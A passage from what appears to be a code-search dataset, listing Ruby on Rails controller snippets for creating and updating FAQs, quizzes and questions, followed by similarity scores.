"def create\n # puts params\n questions = JSON.parse(params[:questions])\n q_hash = questions[\"questions\"]\n @assignment = Assignment.new\n @assignment.course_id = params[:course_id]\n @assignment.type = \"Homework\"\n @assignment.start_date = params[:start_date]\n @assignment.end_date = params[:end_date]\n @assignment.name = params[:name]\n # Following is the question hash\n q_hash.each do |key, value|\n a_hash = key[\"answers\"]\n question = key[\"question\"]\n puts question\n new_question = Question.new\n new_question.description = question\n new_question.type = \"MultipleChoice\"\n # Answer hash\n a_hash.each do |k,v|\n puts k[\"is_correct\"]\n puts k[\"description\"]\n new_answer = Answer.new\n new_answer.description = k[\"description\"]\n new_answer.is_correct = k[\"is_correct\"]\n new_question.association(:answers).add_to_target(new_answer)\n end\n @assignment.association(:questions).add_to_target(new_question)\n end\n \n if @assignment.save\n render :show, status: :created, location: @assignment\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end",
"def quizz_params\n params.require(:quizz).permit(:title, :description, :difficulty)\n end",
"def new\n @faq = Faq.new\n respond_with(@faq)\n end",
"def create\n @quiz_item = QuizItem.new(quiz_item_params)\n\n respond_to do |format|\n if @quiz_item.save\n format.html { redirect_to @quiz_item, notice: 'Quiz item was successfully created.' }\n format.json { render :show, status: :created, location: @quiz_item }\n else\n format.html { render :new }\n format.json { render json: @quiz_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end",
"def create\n question = @current_user.question.create!(question_params)\n render json: { question: question }\n end",
"def create\n @tutorial_quest = Tutorial::Quest.new(params[:tutorial_quest])\n\n respond_to do |format|\n if @tutorial_quest.save\n format.html { redirect_to @tutorial_quest, notice: 'Quest was successfully created.' }\n format.json { render json: @tutorial_quest, status: :created, location: @tutorial_quest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial_quest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def faq_params\n params.require(:faq).permit(:question, :answer, :display, :priority, :placement).merge(:user_id => current_user.id)\n end",
"def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faq = Faq.new(faq_params)\n @faq.business_id = @business.id\n respond_to do |format|\n if @faq.save\n format.html { redirect_to @faq, notice: 'Faq was successfully created.' }\n format.json { render :show, status: :created, location: @faq }\n format.js\n else\n format.html { render :new }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fact = @cat.facts.create!({ fact: api_request })\n if @fact.save\n render json: @fact\n else\n render error: { message: \"Não foi possível criar esse fato para este gatinho! :(\" }, status: 400\n end\n end",
"def create_question\n question_hash = Adapter.quiz_api(difficulty) #use adapter method, with difficulty passes into the url as a variable, to gnerate a new list of questions.\n new_question = Question.new #make a new question instance\n new_question.save #save now so we can store the question's id in the answer by calling self.id\n new_question.content = question_hash['question'] #adding all necessary column data to this question object/row\n new_question.create_answers(question_hash)\n new_question.quiz_id = self.id\n new_question.save #send the newly created question to the database\n end",
"def create\n @add_question = AddQuestion.new(add_question_params)\n\n respond_to do |format|\n if @add_question.save\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @add_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def quiz_params\n params.require(:quiz).permit(:name, :description)\n end",
"def create\n @question = Quizzes::Question.new(quizzes_question_params)\n\n respond_to do |format|\n if @question.save\n if params[:commit] =~ /add/i\n format.html { redirect_to edit_quiz_question_path(@question.quiz, @question) }\n else\n format.html { redirect_to quiz_questions_path(@question.quiz), notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n end\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @add_quizid_to_quesiton = AddQuizidToQuesiton.new(add_quizid_to_quesiton_params)\n\n respond_to do |format|\n if @add_quizid_to_quesiton.save\n format.html { redirect_to @add_quizid_to_quesiton, notice: 'Add quizid to quesiton was successfully created.' }\n format.json { render :show, status: :created, location: @add_quizid_to_quesiton }\n else\n format.html { render :new }\n format.json { render json: @add_quizid_to_quesiton.errors, status: :unprocessable_entity }\n end\n end\n end",
"def quiz_params\n params.require(:quiz).permit(:question, :good_answer, :bad_answer)\n end",
"def faq_ref_params\n params.require(:faq).permit({reference: [:id, :youtube_url, :web_url, :image => []]})\n end",
"def create\n @keyword_quiz = KeywordQuiz.new(keyword_quiz_params)\n\n respond_to do |format|\n if @keyword_quiz.save\n format.html { redirect_to @keyword_quiz, notice: 'Keyword quiz was successfully created.' }\n format.json { render :show, status: :created, location: @keyword_quiz }\n else\n format.html { render :new }\n format.json { render json: @keyword_quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def quiz_params\n params.require(:quiz).permit(:title, :view_count, :image, :description, :result_prefix, :status, :results_attributes => [:id, :title, :description, :image ], :questions_attributes => [:id, :title])\n end",
"def create\n answer = Answer.new(content: params[:content], upvotes: 0, downvotes:0, user_id: params[:user_id], question_id: params[:question_id])\n \n if answer.save\n render json: {answer: answer, create_time: (answer.created_at.to_f * 1000).to_i, success: true}\n else\n render json: @answer.errors, success: false\n end\n end",
"def index\n @faqs = Faq.sorted\n if @subject\n @faqs = @faqs.where(:subject_id => @subject.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @faqs, include: 'subject' }\n end\n end",
"def create\n @answer = AttemptAnswer.new(answer_params) \n \n if @answer.save\n render json: @answer, status: :created \n else\n head(:unprocessable_entity)\n end\n end",
"def create_faq_using_post(faq_request, opts = {})\n data, _status_code, _headers = create_faq_using_post_with_http_info(faq_request, opts)\n data\n end",
"def create\n @questionfife = Questionfive.new(questionfife_params)\n\n respond_to do |format|\n if @questionfife.save\n format.html { redirect_to @questionfife, notice: 'Questionfive was successfully created.' }\n format.json { render :show, status: :created, location: @questionfife }\n else\n format.html { render :new }\n format.json { render json: @questionfife.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @future_recipe = FutureRecipe.new(future_recipe_params)\n\n respond_to do |format|\n if @future_recipe.save\n \n format.html { redirect_to future_recipes_path, notice: 'Future link was successfully created.' }\n format.json { redirect_to future_recipes_path, status: :created, location: @future_recipe }\n else\n format.html { render :new }\n format.json { render json: @future_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def quiz_params\n params.require(:quiz).permit(:title, :body, :article_id, :course_id, :data_value, questions_attributes: [:id, :quiz_id, :content, answers_attributes:[:id, :question_id, :content, :correct_answer]])\n end",
"def quiz_params\n params.require(:quiz).permit(:missao_id, :nome, :descricao, :usuario_curso_id, :finalizado)\n end",
"def create\n @question = SurveyQuestion.new(question_params)\n if @question.save\n render json: @question\n else\n render json: @question.errors.full_messages.join(\", \"), status: :unprocessable_entity\n end\n end",
"def create\n @qa = Qa.new(params[:qa])\n\n respond_to do |format|\n if @qa.save\n flash[:notice] = 'Thanks for submitting your question. Check the archives later for Carl\\'s answer!'\n format.html { redirect_to :controller => 'qas', :action => 'index' }\n format.xml { render :xml => @qa, :status => :created, :location => @qa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @qa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n json_response(@faq)\n end",
"def create\n @q = Q.new(params[:q])\n\n respond_to do |format|\n if @q.save\n format.html { redirect_to @q, notice: 'Q was successfully created.' }\n format.json { render json: @q, status: :created, location: @q }\n else\n format.html { render action: \"new\" }\n format.json { render json: @q.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz_attempt = QuizAttempt.new(quiz_attempt_params)\n\n respond_to do |format|\n if @quiz_attempt.save\n format.html { redirect_to @quiz_attempt, notice: 'Quiz attempt was successfully created.' }\n format.json { render :show, status: :created, location: @quiz_attempt }\n else\n format.html { render :new }\n format.json { render json: @quiz_attempt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def question_params\n params\n .require(:question)\n .permit(\n :title,\n :description,\n :publish_at,\n :finish_at,\n :event_at,\n :answers,\n :correct_answer,\n :avatar)\n end",
"def faq_new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end",
"def create\n @quest = Quest.new(quest_params)\n respond_to do |format|\n if @quest.save\n format.html { redirect_to @quest, notice: 'Quest was successfully created.' }\n format.json { render :show, status: :created, location: @quest }\n else\n format.html { render :new }\n format.json { render json: @quest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # Rails.logger.warn \"====================\"\n # Rails.logger.warn foaf_params[:interests_attributes]\n # Rails.logger.warn \"====================\"\n\n \n @foaf = Foaf.new(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n end\n end\n\n respond_to do |format|\n if @foaf.save \n format.html { redirect_to @foaf, notice: 'FOAF was successfully created.' }\n format.json { render action: 'show', status: :created, location: @foaf }\n else\n format.html { render action: 'new' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @form = Form.new(form_params)\n return unless can_form_be_created?(@form)\n @form.created_by = current_user\n @form.form_questions = create_form_questions\n if @form.save\n render :show, status: :created, location: @form\n else\n render json: @form.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n # Rails.logger.warn \"====================\"\n # Rails.logger.warn foaf_params[:interests_attributes]\n # Rails.logger.warn \"====================\"\n\n \n @foaf = Foaf.new(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n end\n end\n\n respond_to do |format|\n if @foaf.save \n format.html { redirect_to @foaf, notice: 'Foaf was successfully created.' }\n format.json { render action: 'show', status: :created, location: @foaf }\n else\n format.html { render action: 'new' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #before_action :set_tag\n #ログインしているユーザーが質問を作る\n @question = current_user.questions.build(question_params)\n # respond_to: リクエストされるフォーマットがHTML形式の場合とJSON形式の場合で処理を分けることができる\n respond_to do |format|\n if @question.save\n # TODO: 経験値機能の処理\n # current_user.get_exp(10)\n # current_user.check_level_up\n format.html { redirect_to @question, notice: \"質問を投稿しました\" }\n format.json { render :show, status: :created, location: @question }\n else\n #savaできなかった場合\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.70005",
"0.6883594",
"0.6463756",
"0.6332136",
"0.62378883",
"0.622395",
"0.6191667",
"0.617251",
"0.6150773",
"0.6024217",
"0.6011545",
"0.59803087",
"0.5953915",
"0.59383136",
"0.58961576",
"0.58607256",
"0.5843578",
"0.58328074",
"0.57954866",
"0.57920384",
"0.5748579",
"0.5745406",
"0.57399917",
"0.5735848",
"0.5733862",
"0.5731732",
"0.5729531",
"0.5729487",
"0.5727757",
"0.57186866",
"0.5712581",
"0.57082206",
"0.5674599",
"0.565893",
"0.5654976",
"0.5654976",
"0.5649345",
"0.5641726",
"0.5637383",
"0.5615868",
"0.5610632",
"0.560091",
"0.5599616",
"0.559709",
"0.5566931",
"0.5566035",
"0.55359256",
"0.55310047",
"0.5524882",
"0.5511886",
"0.550978",
"0.55052805",
"0.5493011",
"0.5487899",
"0.547948",
"0.5463261",
"0.54490626",
"0.54490626",
"0.54457825",
"0.54390156",
"0.54249954",
"0.54205483",
"0.5419624",
"0.5396333",
"0.53929555",
"0.5385947",
"0.53845745",
"0.53839165",
"0.53735685",
"0.53607213",
"0.53500646",
"0.5335674",
"0.533564",
"0.53283846",
"0.5325862",
"0.53187",
"0.531597",
"0.5304305",
"0.5296308",
"0.52959794",
"0.5295671",
"0.5294297",
"0.52813506",
"0.52802086",
"0.5279737",
"0.52789617",
"0.5275447",
"0.52748513",
"0.527037",
"0.5268525",
"0.52566457",
"0.52519876",
"0.52518475",
"0.5246364",
"0.5239259",
"0.5238255",
"0.52351874",
"0.52283704",
"0.5225206",
"0.5224105"
] |
0.6218168
|
6
|
PUT /faqs/1 PUT /faqs/1.json
|
def update
@faq = Helpdesk::Faq.find(params[:id])
respond_to do |format|
if @faq.update_attributes(faq_params)
format.html { redirect_to admin_faqs_url, notice: 'Faq was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @faq.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @faq.update(faqs_params)\n json_response(@faq)\n end",
"def update_faq_using_put_with_http_info(faq, faq_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FAQApi.update_faq_using_put ...'\n end\n # verify the required parameter 'faq' is set\n if @api_client.config.client_side_validation && faq.nil?\n fail ArgumentError, \"Missing the required parameter 'faq' when calling FAQApi.update_faq_using_put\"\n end\n # verify the required parameter 'faq_id' is set\n if @api_client.config.client_side_validation && faq_id.nil?\n fail ArgumentError, \"Missing the required parameter 'faq_id' when calling FAQApi.update_faq_using_put\"\n end\n # resource path\n local_var_path = '/faq/{faq_id}'.sub('{' + 'faq_id' + '}', faq_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(faq)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Faq')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FAQApi#update_faq_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n if @faq.update_attributes(params[:faq])\n format.html { redirect_to @faq, notice: 'FAQ atualizada com sucesso.' }\n format.json { head :no_content }\n else\n @subjects = Subject.all\n format.html { render action: \"edit\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"def update\n @faq = Faq.find(params[:id])\n flash[:notice] = 'Faq was successfully updated.' if @faq.update_attributes(params[:faq])\n respond_with(@faq)\n end",
"def update\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n if @faq.update_attributes(params[:faq])\n flash[:notice] = 'Faq was successfully updated.'\n format.html { redirect_to(@faq) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @faq.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n if @faq.update_attributes(params[:faq])\n flash[:notice] = 'Faq was successfully updated.'\n format.html { redirect_to(@faq) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @faq.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @faq.update(faq_params)\n format.html { redirect_to @faq, notice: 'Faq was successfully updated.' }\n format.json { render :show, status: :ok, location: @faq }\n else\n format.html { render :edit }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @faq.update(faq_params)\n format.html { redirect_to @faq, notice: 'Faq was successfully updated.' }\n format.json { render :show, status: :ok, location: @faq }\n else\n format.html { render :edit }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_question\n\t\t\tquizzes = current_instructor.quizzes\n\t\t\t@found = 0\n\t\t\tquizzes.each do |quiz|\n\t\t\t\tif(quiz.questions.exists?(:id => params[:question_id]))\n\t\t\t\t\t@found = @found + 1\n\t\t\t\tend \n\t\t\tend\n\t\t\tif (@found > 0)\n\t\t\t\tquestion = Question.find(params[:question_id])\n\t\t\t\tif (question.update(question_params))\n\t\t\t\t\trender json: { success: true, data: { :question => question }, info:{} }, status: 200\n\t\t\t\telse\n\t\t\t\t\trender json: { error: question.errors }, status: 422 \n\t\t\t\tend\t\n\t\t\telse\n\t\t\t\trender json: { error:\"Question is not found\" }, status: 422\n\t\t\tend\n\t\tend",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @admin_faq.update(admin_faq_params)\n format.html { redirect_to @admin_faq, notice: t('crud.updated_successfully!', name: Admin::Faq.model_name.human) }\n format.json { render :show, status: :ok, location: @admin_faq }\n else\n format.html { render :edit }\n format.json { render json: @admin_faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end",
"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quiz = Quiz.find(params[:id])\n \n respond_to do |format|\n if @quiz.update_attributes(params[:quiz])\n format.html { redirect_to @quiz, notice: 'Quiz was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n if @qa.update_attributes(params[:qa])\n format.html { redirect_to @qa, notice: 'Qa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @qa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_existing_quiz_question(course_id,quiz_id,id,question__question_name__,question__question_text__,question__question_type__,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :question__question_name__,\n :question__question_text__,\n :question__quiz_group_id__,\n :question__question_type__,\n :question__position__,\n :question__points_possible__,\n :question__correct_comments__,\n :question__incorrect_comments__,\n :question__neutral_comments__,\n :question__text_after_answers__,\n :question__answers__,\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"quiz_id is required\" if quiz_id.nil?\n raise \"id is required\" if id.nil?\n raise \"question__question_name__ is required\" if question__question_name__.nil?\n raise \"question__question_text__ is required\" if question__question_text__.nil?\n raise \"question__question_type__ is required\" if question__question_type__.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :quiz_id => quiz_id,\n :id => id,\n :question__question_name__ => question__question_name__,\n :question__question_text__ => question__question_text__,\n :question__question_type__ => question__question_type__\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/quizzes/{quiz_id}/questions/{id}\",\n :course_id => course_id,\n :quiz_id => quiz_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n QuizQuestion.new(response)\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cfa_update\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_update method\"\n \n begin\n params.permit!\n data=params[\"cfas\"]\n cfa={:cfa_title=>{\"job_name\": params[:job_name]}}\n cfa=RestClient.put $api_service+'/cfa_titles/'+data[:id],cfa \n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : cfa_updated successfully\"\n rescue =>e\n Rails.logger.custom_log.error { \"#{e}cfas_controller cfa_update method\" }\n end\n redirect_to :action => \"index\"\n # redirect_to :action => \"show\" ,:id=>data[:id]\n end",
"def update\n @q = Q.find_by_unique_id(params[:id])\n\n respond_to do |format|\n if @q.update_attributes(params[:q])\n format.html { redirect_to @q, notice: 'Q was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @q.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.json { render :json => 'Question updated OK' }\n format.xml { head :ok }\n else\n format.json { render :json => @question.errors }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n if params[:cros]=='y'\n #update from cros post. @xieyinghua\n new_faq_params=faq_params\n new_faq_params[:question]=params[:question]\n new_faq_params[:answer]=params[:answer]\n\n faq_params=new_faq_params\n end\n\n respond_to do |format|\n if @faq.update(faq_params)\n format.html { redirect_to @faq, notice: 'Faq was successfully updated.' }\n format.json { render :show, status: :ok, location: @faq }\n else\n format.html { render :edit }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_major_faq\n @major_faq = @major.faqs.find(params[:id])\n end",
"def create\n faq = Faq.new(faqs_params)\n faq.created_by_id = @current_user.id\n \n if faq.save\n json_response(faq)\n else\n json_response({ message: faq.errors }, :unprocessable_entity)\n end\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def update\n respond_to do |format|\n if @fizzbuzz.update(fizzbuzz_params)\n format.html { redirect_to @fizzbuzz, notice: 'Fizzbuzz was successfully updated.' }\n format.json { render :show, status: :ok, location: @fizzbuzz }\n else\n format.html { render :edit }\n format.json { render json: @fizzbuzz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n respond_to do |format|\n if @faq_section.update(faq_section_params)\n format.html { redirect_to @faq_section, notice: \"Faq section was successfully updated.\" }\n format.json { render :show, status: :ok, location: @faq_section }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @faq_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n if @faq.update(faq_params)\n format.html { \n flash[:notice] = \"FAQ was successfully updated.\"\n redirect_to(:action => 'show', :id => @faq.id, :faq_group_id => @group.id)\n }\n format.json { head :no_content }\n else\n format.html { \n @groups = FaqGroup.order('position ASC')\n @faq_count = Faq.count + 1\n render action: 'edit' \n }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @frequently_asked.update(frequently_asked_params)\n format.html { redirect_to @frequently_asked, notice: 'Frequently asked was successfully updated.' }\n format.json { render :show, status: :ok, location: @frequently_asked }\n else\n format.html { render :edit }\n format.json { render json: @frequently_asked.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faq = Faq.new(faq_params)\n\n if @faq.save\n render json: @faq, status: :created\n else\n render json: @faq.errors, status: :unprocessable_entity\n end\n end",
"def update\n @faq_category = FaqCategory.find(params[:id])\n\n respond_to do |format|\n if @faq_category.update_attributes(params[:faq_category])\n format.html { redirect_to @faq_category, notice: 'Faq category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @faq_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def faq_params\n params.require(:faq).permit(:rating_id, :question_id, :user_id, :faq_section_id,\n question_attributes: [:title, :content, :user_id])\n end",
"def update_score\n question_params = params.require(:question).permit(:id, :score)\n\n render json: Question.update_score(question_params)\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to quiz_path(@question.subsection_id), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @faq_item.update(faq_item_params)\n format.html { redirect_to @faq_item, notice: \"Faq item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @faq_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @faq_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quizzes_question.update(quizzes_question_params)\n if params[:commit] =~ /add/i\n format.html { redirect_to edit_quiz_question_path(@question.quiz, @question) }\n else\n format.html { redirect_to quiz_questions_path(@question.quiz), notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @quizzes_question }\n end\n else\n format.html { render :edit }\n format.json { render json: @quizzes_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quiz = Quiz.find(params[:id])\n\n if @quiz.update(published: params[:quiz_status])\n head :no_content\n else\n render json: @quiz.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @qa.update(qa_params)\n format.html { redirect_to @qa, notice: 'Qa was successfully updated.' }\n format.json { render :show, status: :ok, location: @qa }\n else\n format.html { render :edit }\n format.json { render json: @qa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
